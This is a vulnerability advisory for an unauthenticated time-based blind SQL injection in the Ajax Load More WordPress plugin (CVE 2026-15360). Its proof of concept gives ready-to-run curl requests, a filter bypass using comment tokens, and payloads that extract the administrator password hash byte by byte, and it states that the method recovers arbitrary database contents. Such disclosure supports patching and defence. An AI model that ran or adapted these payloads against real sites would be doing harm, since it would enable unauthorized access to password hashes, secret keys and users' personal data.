Ajax Load More < 8.0.1 – Unauthenticated SQL Injection via custom_args | CVE 2026-15360

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL query, allowing unauthenticated attackers to perform time-based blind SQL injection and extract sensitive data from the database.

Proof of Concept

A single unauthenticated request (no cookies, no nonce). At least one published post must exist (any live site has posts). The injected sub-select is evaluated once per returned row, so the delay is roughly SLEEP_value x post-count.

Baseline (returns fast):
  curl -sG 'https://victim.example/wp-admin/admin-ajax.php' \
    --data 'action=alm_get_posts&post_type=post&posts_per_page=1' \
    --data-urlencode 'custom_args=author__not_in:5'

Time-based injection (response delayed, proving the value reaches SQL raw):
  curl -sG 'https://victim.example/wp-admin/admin-ajax.php' \
    --data 'action=alm_get_posts&post_type=post&posts_per_page=1' \
    --data-urlencode 'custom_args=author__not_in:SELECT(SLEEP(0.3))'

The custom_args token is parsed into the WP_Query argument author__not_in as the string "SELECT(SLEEP(0.3))", which WordPress interpolates raw into the query:
  ... AND wp_posts.post_author NOT IN (SELECT(SLEEP(0.3))) ...
A benign integer (author__not_in:5) or SELECT(SLEEP(0)) returns fast; a positive SLEEP delays the response, confirming time-based blind SQL injection.

Blind data extraction: spaces and commas in the value are filtered, bypassed with /**/ for whitespace and boolean multiplication inside SLEEP(). The following confirms the first byte of the administrator password hash is ASCII 36 ("$") - the TRUE payload is delayed, the FALSE one returns fast:

  TRUE (delayed):
    --data-urlencode 'custom_args=author__not_in:SELECT(SLEEP(0.2*(ORD((SELECT/**/user_pass/**/FROM/**/wp_users/**/LIMIT/**/1))=36)))'

  FALSE (fast):
    --data-urlencode 'custom_args=author__not_in:SELECT(SLEEP(0.2*(ORD((SELECT/**/user_pass/**/FROM/**/wp_users/**/LIMIT/**/1))=37)))'

Repeating the TRUE/FALSE comparison across positions and byte values extracts arbitrary database contents (password hashes, secret keys, PII).